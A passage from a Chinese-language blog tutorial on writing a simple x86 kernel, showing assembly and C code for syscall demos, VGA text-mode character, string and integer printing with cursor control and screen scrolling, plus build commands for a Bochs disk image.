class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">section .data</span><br><span class="line">str_c_lib: db &quot;C library says: hello world!&quot;, 0xa ; 0xa为换行符</span><br><span class="line">str_c_lib_len equ $-str_c_lib</span><br><span class="line"></span><br><span class="line">str_syscall: db &quot;syscall says: hello world!&quot;, 0xa</span><br><span class="line">str_syscall_len equ $-str_syscall</span><br><span class="line"></span><br><span class="line">section .text</span><br><span class="line">global _start</span><br><span class="line">_start:</span><br><span class="line">; ssize_t write(int fd,const void *buf,size_t count);</span><br><span class="line">; 方法一:模拟C语言中系统调用库函数write</span><br><span class="line">push str_c_lib_len</span><br><span class="line">push str_c_lib</span><br><span class="line">push 1</span><br><span class="line"></span><br><span class="line">call my_write</span><br><span class="line">add esp, 12</span><br><span class="line"></span><br><span class="line">; 方法二:系统调用</span><br><span class="line">mov eax, 4               ; 系统调用号</span><br><span class="line">mov ebx, 1               ; fd</span><br><span class="line">mov ecx, str_syscall     ; buf</span><br><span class="line">mov edx, str_syscall_len ; count</span><br><span class="line">int 0x80</span><br><span class="line"></span><br><span class="line">; 退出程序</span><br><span class="line">mov eax, 1 ; exit()</span><br><span class="line">int 0x80</span><br><span class="line"></span><br><span class="line">; 下面模拟write系统调用</span><br><span class="line">my_write:</span><br><span class="line">push ebp</span><br><span class="line">mov esp, ebp</span><br><span class="line">mov eax, 4</span><br><span class="line">mov ebx, [ebp + 8]    ; fd</span><br><span class="line">mov ecx, [ebp + 0xc]  ; buf</span><br><span class="line">mov edx, [ebp + 0x10] ; count</span><br><span class="line">int 0x80</span><br><span class="line">pop ebp</span><br><span class="line">ret</span><br></pre></td></tr></table></figure><p>运行结果如下</p><p><img src="/2020/05/10/简单内核实现笔记-part-2/49.png" alt></p><p>既然我们用汇编模拟了C中的write函数，下面就用C结合汇编进行第二个实验</p><p><code>C_with_S_c.c</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">extern</span> <span class="keyword">void</span> <span class="title">asm_print</span><span class="params">(<span class="keyword">char</span>*,<span class="keyword">int</span>)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">c_print</span><span class="params">(<span class="keyword">char</span>* str)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">int</span> len=<span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span>(str[len++]);   <span class="comment">// 循环求出长度len,以'\0'结尾</span></span><br><span class="line">    asm_print(str, len);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>C_with_S_S.S</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">section .data</span><br><span class="line">str: db &quot;asm_print hello world!&quot;, 0xa, 0 ; 0xa为换行符,0为结束符</span><br><span class="line">str_len equ $-str</span><br><span class="line"></span><br><span class="line">section .text</span><br><span class="line">extern c_print</span><br><span class="line">global _start</span><br><span class="line">_start:</span><br><span class="line">push str</span><br><span class="line">call c_print</span><br><span class="line">add esp, 4</span><br><span class="line"></span><br><span class="line">; 退出程序</span><br><span class="line">mov eax, 1 ; exit()</span><br><span class="line">int 0x80</span><br><span class="line"></span><br><span class="line">; 下面模拟write系统调用</span><br><span class="line">global asm_print</span><br><span class="line">asm_print:</span><br><span class="line">push ebp</span><br><span class="line">mov ebp, esp</span><br><span class="line">mov eax, 4</span><br><span class="line">mov ebx, 1</span><br><span class="line">mov ecx, [ebp + 8]   ; str</span><br><span class="line">mov edx, [ebp + 0xc] ; len</span><br><span class="line">int 0x80</span><br><span class="line">pop ebp</span><br><span class="line">ret</span><br></pre></td></tr></table></figure><p>其调用关系如下图</p><p><img src="/2020/05/10/简单内核实现笔记-part-2/50.png" alt></p><p>编译过程如下所示</p><p><img src="/2020/05/10/简单内核实现笔记-part-2/51.png" alt></p><h2 id="实现打印函数"><a href="#实现打印函数" class="headerlink" title="实现打印函数"></a>实现打印函数</h2><p>对于字符的打印主要是对显卡端口的操作，所以是用汇编实现，这里新键一个lib目录，里面添加一个头文件，主要申请一些数据结构信息，来自Linux源码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">ifndef</span> _LIB_STDINT_H_</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> _LIB_STDINT_H_</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">signed</span> <span class="keyword">char</span> <span class="keyword">int8_t</span>;</span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">signed</span> short <span class="keyword">int</span> <span class="keyword">int16_t</span>;</span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">signed</span> <span class="keyword">int</span> <span class="keyword">int32_t</span>;</span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">signed</span> <span class="keyword">long</span> <span class="keyword">long</span> <span class="keyword">int</span> <span class="keyword">int64_t</span>;</span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">unsigned</span> <span class="keyword">char</span> <span class="keyword">uint8_t</span>;</span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">unsigned</span> short <span class="keyword">int</span> <span class="keyword">uint16_t</span>;</span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">unsigned</span> <span class="keyword">int</span> <span class="keyword">uint32_t</span>;</span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">unsigned</span> <span class="keyword">long</span> <span class="keyword">long</span> <span class="keyword">int</span> <span class="keyword">uint64_t</span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span> <span class="comment">//!_LIB_STDINT_H_</span></span></span><br></pre></td></tr></table></figure><p>再新建一个user目录和一个kernel目录，我们的print实现代码就在kernel目录下的<code>print.S</code>，这个函数比较复杂，处理流程如下</p><ol><li>备份寄存器现场</li><li>获取光标坐标值，光标坐标值是下一个可打印字符的位置</li><li>获取待打印的字符</li><li>判断字符是否为控制字符，如回车、换行、退格符需要特殊处理</li><li>判断是否需要滚屏</li><li>更新光标坐标值，使其指向下一个打印字符的位置</li><li>恢复寄存器现场，退出</li></ol><p>首先需要知道光标和字符的区别，它们之间没有任何关系，光标位置保存在光标寄存器中，可以手动维护，这就需要参考书中的显卡寄存器索引(P264)，我们需要操作CRT控制数据寄存器中索引为0x0E的Cursor Location High Register和索引为0x0F的Cursor Location Low Register分别用来储存光标坐标的高8位和低8位。访问CRT寄存器，需要首先往端口地址为0x3D4寄存器写入索引，然后再从端口0x3D5的数据寄存器读写数据，另外一些特殊字符需要特殊处理，其中还会涉及到滚屏的处理，我们的屏幕是<code>80*25</code>大小的，步骤如下：</p><ol><li>将第1~24行搬到0~23行，覆盖第0行</li><li>将24行也就是最后一行用空格覆盖，看起来像新的一行</li><li>光标移动到第24行行首</li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br></pre></td><td class="code"><pre><span class="line">TI_GDT equ 0</span><br><span class="line">RPL0 equ 0</span><br><span class="line">SELECTOR_VIDEO equ (0x0003&lt;&lt;3) + TI_GDT + RPL0</span><br><span class="line"></span><br><span class="line">[bits 32]</span><br><span class="line">section .text</span><br><span class="line">; ----------------- put_char -----------------</span><br><span class="line">; 把栈中的一个字符写入光标所在处</span><br><span class="line">; --------------------------------------------</span><br><span class="line">global put_char ; 全局变量，外部可调用</span><br><span class="line">put_char:</span><br><span class="line">pushad ; 备份环境</span><br><span class="line">; 保证gs中为正确的视频段选择子</span><br><span class="line">; 为保险起见，每次打印时都为gs赋值</span><br><span class="line">mov ax, SELECTOR_VIDEO ; 不能直接把立即数送入段寄存器</span><br><span class="line">mov gs, ax</span><br><span class="line"></span><br><span class="line">; 获取当前光标位置，25个字符一行，一共80行，从0行开始</span><br><span class="line">; 先获得高8位</span><br><span class="line">mov dx, 0x03d4  ; 索引寄存器</span><br><span class="line">mov al, 0x0e    ; 用于提供光标位置的高8位</span><br><span class="line">out dx, al</span><br><span class="line">mov dx, 0x03d5  ; 通过读写数据端口0x3d5来获得或设置光标位置</span><br><span class="line">in  al, dx      ; 得到了光标位置的高8位</span><br><span class="line">mov ah, al</span><br><span class="line"></span><br><span class="line">; 在获取低8位光标</span><br><span class="line">mov dx, 0x3d4</span><br><span class="line">mov al, 0x0f</span><br><span class="line">out dx, al</span><br><span class="line">mov dx, 0x3d5</span><br><span class="line">in  al, dx</span><br><span class="line">; 将16位完整的光标存入bx</span><br><span class="line">mov bx, ax</span><br><span class="line">; 下面这行是在栈中获取待打印的字符</span><br><span class="line">mov ecx, [esp + 36] ; pushad压入4x8=32字节</span><br><span class="line">; 加上主函数4字节返回地址</span><br><span class="line">cmp cl, 0xd; 回车CR是0x0d，换行LF是0x0a</span><br><span class="line">jz .is_carriage_return</span><br><span class="line">cmp cl, 0xa</span><br><span class="line">jz .is_line_feed</span><br><span class="line"></span><br><span class="line">cmp cl, 0x8; BS(backspace)的asc码是8</span><br><span class="line">jz .is_backspace</span><br><span class="line">jmp .put_other</span><br><span class="line"></span><br><span class="line">.is_backspace:</span><br><span class="line">;;;;;;;;;;;;;;;;;; 对于backspace的一点说明 ;;;;;;;;;;;;;;;;;;</span><br><span class="line">; 当为 backspace 时，光标前移一位</span><br><span class="line">; 末尾添加空格或空字符0</span><br><span class="line">dec bx</span><br><span class="line">shl bx, 1; 光标左移一位等于乘2</span><br><span class="line">; 表示光标对应显存中的偏移字节</span><br><span class="line">mov byte [gs:bx], 0x20; 将待删除的字节补为0或空格皆可</span><br><span class="line">inc bx</span><br><span class="line">mov byte [gs:bx], 0x07</span><br><span class="line">shr bx, 1</span><br><span class="line">jmp .set_cursor</span><br><span class="line">;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</span><br><span class="line">.put_other:</span><br><span class="line">shl bx, 1      ; 光标位置用2字节表示，将光标值乘2         </span><br><span class="line">    ; 表示对应显存中的偏移字节</span><br><span class="line">mov [gs:bx], cl         ; ASCII字符本身</span><br><span class="line">inc bx</span><br><span class="line">mov byte [gs:bx], 0x07  ; 字符属性</span><br><span class="line">shr bx, 1; 恢复老的光标值</span><br><span class="line">inc bx; 下一个光标值</span><br><span class="line">cmp bx, 2000</span><br><span class="line">jl .set_cursor; 若光标值小于2000，表示未写到显存的最后，则去设置新的光标值</span><br><span class="line">; 若超出屏幕字符数大小(2000)则换行处理</span><br><span class="line">.is_line_feed:; 是换行符LF(\n)</span><br><span class="line">.is_carriage_return:; 是回车符</span><br><span class="line">; 如果是CR(\r)，只要把光标移到行首就行了</span><br><span class="line">xor dx, dx ; dx是被除数的高16位，清0</span><br><span class="line">mov ax, bx; ax是被除数的低16位</span><br><span class="line">mov si, 80              ; 效访Linux中\n表示下一行的行首</span><br><span class="line">div si; 这里\n和\r都处理为下一行的行首</span><br><span class="line">sub bx, dx; 光标值减去除80的余数便是取整</span><br><span class="line">; 以上4行处理\r的代码</span><br><span class="line">.is_carriage_return_end:    ; 回车符CR处理结束</span><br><span class="line">add bx, 80</span><br><span class="line">cmp bx, 2000</span><br><span class="line">.is_line_feed_end:; 若是LF(\n)，将光标移+80便可</span><br><span class="line">jl .set_cursor</span><br><span class="line">; 屏幕行范围是0~24，滚屏的原理是将屏幕的第1~24行搬运到第0~23行，再将第24行用空格填充</span><br><span class="line">.roll_screen:; 若超出屏幕大小，开始滚屏</span><br><span class="line">cld</span><br><span class="line">mov ecx, 960; 2000-80=1920个字符要搬运，共1920*2=3820字节</span><br><span class="line">; 一次搬4字节，共3840/4=960次</span><br><span class="line">mov esi, 0xc00b80a0; 第一行行首</span><br><span class="line">mov edi, 0xc00b8000; 第0行行首</span><br><span class="line">rep movsd</span><br><span class="line"></span><br><span class="line">; 将最后一行填充为空白</span><br><span class="line">mov ebx, 3840; 最后一行首字符的第一个字节偏移=1920*2</span><br><span class="line">mov ecx, 80; 一行是80字符(160字节)，每次清空1字符(2字节)，一行需要移动80次</span><br><span class="line"></span><br><span class="line">.cls:</span><br><span class="line">mov word [gs:ebx], 0x0720 ; 0x0720是黑底白字的空格键</span><br><span class="line">add ebx, 2</span><br><span class="line">loop .cls</span><br><span class="line">mov bx, 1920  ; 将光标值重置为1920，最后一行的首字符</span><br><span class="line"></span><br><span class="line">.set_cursor:</span><br><span class="line">; 将光标设为bx值</span><br><span class="line">; 1.先设置高8位</span><br><span class="line">mov dx, 0x03d4  ; 索引寄存器</span><br><span class="line">mov al, 0x0e; 用于提供光标位置的高8位</span><br><span class="line">out dx, al</span><br><span class="line">mov dx, 0x03d5; 通过读写数据端口0x3d5来获得或设置光标位置</span><br><span class="line">mov al, bh</span><br><span class="line">out dx, al</span><br><span class="line"></span><br><span class="line">; 2.再设置低8位</span><br><span class="line">mov dx, 0x3d4</span><br><span class="line">mov al, 0x0f</span><br><span class="line">out dx, al</span><br><span class="line">mov dx, 0x03d5</span><br><span class="line">mov al, bl</span><br><span class="line">out dx, al</span><br><span class="line">.put_char_done:</span><br><span class="line">popad</span><br><span class="line">ret</span><br></pre></td></tr></table></figure><p>头文件<code>print.h</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">ifndef</span> __LIB_KERNEL_PRINT_H <span class="comment">// 如果没有__LIB_KERNEL_PRINT_H宏则编译下面的代码</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> __LIB_KERNEL_PRINT_H</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"stdint.h"</span></span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">put_char</span><span class="params">(<span class="keyword">uint8_t</span> char_asci)</span></span>; <span class="comment">// 这里是8位无符号整型,为了和之前参数存放在cl寄存器长度吻合</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br></pre></td></tr></table></figure><p>下面测试代码<code>main.o</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"print.h"</span></span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span></span>&#123;</span><br><span class="line">put_char(<span class="string">'k'</span>);</span><br><span class="line">put_char(<span class="string">'e'</span>);</span><br><span class="line">put_char(<span class="string">'r'</span>);</span><br><span class="line">put_char(<span class="string">'n'</span>);</span><br><span class="line">put_char(<span class="string">'e'</span>);</span><br><span class="line">put_char(<span class="string">'l'</span>);</span><br><span class="line">put_char(<span class="string">'\n'</span>);</span><br><span class="line">put_char(<span class="string">'T'</span>);</span><br><span class="line">put_char(<span class="string">'h'</span>);</span><br><span class="line">put_char(<span class="string">'u'</span>);</span><br><span class="line">put_char(<span class="string">'n'</span>);</span><br><span class="line">put_char(<span class="string">'d'</span>);</span><br><span class="line">put_char(<span class="string">'e'</span>);</span><br><span class="line">put_char(<span class="string">'e'</span>);</span><br><span class="line">put_char(<span class="string">'\b'</span>);</span><br><span class="line">put_char(<span class="string">'r'</span>);</span><br><span class="line"><span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>目前为止的目录结果如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">.</span><br><span class="line">├── boot</span><br><span class="line">│   ├── include</span><br><span class="line">│   │   └── boot.inc</span><br><span class="line">│   ├── loader.bin</span><br><span class="line">│   ├── loader.S</span><br><span class="line">│   ├── mbr.bin</span><br><span class="line">│   └── mbr.S</span><br><span class="line">├── kernel</span><br><span class="line">│   ├── kernel.bin</span><br><span class="line">│   ├── main.c</span><br><span class="line">│   └── main.o</span><br><span class="line">└── lib</span><br><span class="line">    ├── kernel</span><br><span class="line">    │   ├── print.h</span><br><span class="line">    │   └── print.S</span><br><span class="line">    ├── stdint.h</span><br><span class="line">    └── user</span><br></pre></td></tr></table></figure><p>编译需要用到的几条命令，目录不同会有变化</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">sudo nasm -f elf -o print.o print.S</span><br><span class="line">sudo gcc -m32 -I /home/guang/soft/kernel/lib/kernel -c -o main.o main.c</span><br><span class="line">sudo ld -m elf_i386 -Ttext 0xc0001500 -e main -o kernel.bin main.o /home/guang/soft/kernel/lib/kernel/print.o</span><br><span class="line">sudo dd if=./kernel.bin of=/home/guang/soft/bochs-2.6.2/bin/hd60M.img bs=512 count=200 seek=9 conv=notrunc</span><br></pre></td></tr></table></figure><p>显示结果如下</p><p><img src="/2020/05/10/简单内核实现笔记-part-2/52.png" alt></p><p>下面把<code>put_char</code>函数封装起来，<code>put_str</code>通过<code>put_char</code>来打印以<strong>0</strong>字符结尾的字符串，思想就是循环打印直到0结束</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">; --------------------------------------------</span><br><span class="line">; put_str通过put_char来打印以0字符结尾的字符串</span><br><span class="line">; 输入：栈中参数为打印的字符串</span><br><span class="line">; 输出：无</span><br><span class="line">; --------------------------------------------</span><br><span class="line">global put_str</span><br><span class="line">put_str:</span><br><span class="line">; 此函数用到ebx和ecx，先备份</span><br><span class="line">push ebx</span><br><span class="line">push ecx</span><br><span class="line">xor ecx, ecx</span><br><span class="line">mov ebx, [esp + 0xc] ; 栈中得到待打印字符串的地址</span><br><span class="line">.goon:</span><br><span class="line">mov cl, [ebx]</span><br><span class="line">cmp cl, 0       ; 如果处理到了字符串尾，跳到结束处返回</span><br><span class="line">jz .str_over</span><br><span class="line">push ecx; 为put_char函数传递参数</span><br><span class="line">call put_char; 循环调用put_char实现打印字符串</span><br><span class="line">add esp, 4</span><br><span class="line">inc ebx; ebx指向下一个字符</span><br><span class="line">jmp .goon</span><br><span class="line"></span><br><span class="line">.str_over:</span><br><span class="line">pop ecx</span><br><span class="line">pop ebx</span><br><span class="line">ret</span><br></pre></td></tr></table></figure><p><code>print.h</code>中增加一行申明</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">ifndef</span> __LIB_KERNEL_PRINT_H <span class="comment">// 如果没有__LIB_KERNEL_PRINT_H宏则编译下面的代码</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> __LIB_KERNEL_PRINT_H</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"stdint.h"</span></span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">put_char</span><span class="params">(<span class="keyword">uint8_t</span> char_asci)</span></span>; <span class="comment">// 这里是8位无符号整型,为了和之前参数存放在cl寄存器长度吻合</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">put_str</span><span class="params">(<span class="keyword">char</span>* message)</span></span>;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br></pre></td></tr></table></figure><p><code>main.c</code>对其进行调用测试</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"print.h"</span></span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span></span>&#123;</span><br><span class="line">put_str(<span class="string">"Welcome to kernel\n"</span>);</span><br><span class="line"><span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>测试结果如下</p><p><img src="/2020/05/10/简单内核实现笔记-part-2/53.png" alt></p><p>前面是实现对字符的打印，下面需要增加对整数的打印，逐位处理，A~F再单独处理，再增加对高位多余0的处理，详情见注释</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line">;--------------------   将小端字节序的数字变成对应的ascii后，倒置   -----------------------</span><br><span class="line">;输入：栈中参数为待打印的数字</span><br><span class="line">;输出：在屏幕上打印16进制数字,并不会打印前缀0x,如打印10进制15时，只会直接打印f，不会是0xf</span><br><span class="line">;------------------------------------------------------------------------------------------</span><br><span class="line"></span><br><span class="line">global put_int</span><br><span class="line">put_int:</span><br><span class="line">pushad</span><br><span class="line">mov ebp, esp</span><br><span class="line">mov eax, [ebp + 4*9] ; call的返回地址占4字节再加上pushad的8个四字节</span><br><span class="line">mov edx, eax</span><br><span class="line">mov edi, 7; 指定在put_int_buffer中初始的偏移量</span><br><span class="line">mov ecx, 8; 32位数字中，十六进制数字的位数是8个</span><br><span class="line">mov ebx, put_int_buffer</span><br><span class="line"></span><br><span class="line">; 将32位数字按照十六进制的形式从低位到高位逐个处理</span><br><span class="line">; 共处理8个十六进制数字</span><br><span class="line">.16based_4bits:; 每4位二进制是16进制数字的1位</span><br><span class="line">; 遍历每一位十六进制数字</span><br><span class="line">and edx, 0x0000000F; 解析十六进制数字的每一位</span><br><span class="line">; and与操作后，edx只有低4位有效</span><br><span class="line">cmp edx, 9; 数字0~9和a~f需要分别处理成对应的字符</span><br><span class="line">jg .is_A2F</span><br><span class="line">add edx, &apos;0&apos;; ASCII码是8位大小。add求和操作后，edx低8位有效</span><br><span class="line">jmp .store</span><br><span class="line">.is_A2F:</span><br><span class="line">sub edx, 10; A~F减去10所得到的差，再加上字符A的</span><br><span class="line">; ASCII码，便是A~F对应的ASCII码</span><br><span class="line">add edx, &apos;A&apos;</span><br><span class="line">; 将每一位数字转换成对应的字符后,按照类似“大端”的顺序存储到缓冲区put_int_buffer</span><br><span class="line">; 高位字符放在低地址,低位字符要放在高地址,这样和大端字节序类似,只不过咱们这里是字符序.</span><br><span class="line">.store:</span><br><span class="line">; 此时dl中应该是数字对应的字符的ASCII码</span><br><span class="line">mov [ebx + edi], dl</span><br><span class="line">dec edi</span><br><span class="line">shr eax, 4</span><br><span class="line">mov edx, eax</span><br><span class="line">loop .16based_4bits</span><br><span class="line"></span><br><span class="line">; 现在put_int_buffer中已全是字符，打印之前</span><br><span class="line">; 把高位连续的字符去掉，比如把字符000123变成123</span><br><span class="line">.ready_to_print:</span><br><span class="line">inc edi; 此时edi退减为-1(0xffffffff),加上1使其为0</span><br><span class="line">.skip_prefix_0:</span><br><span 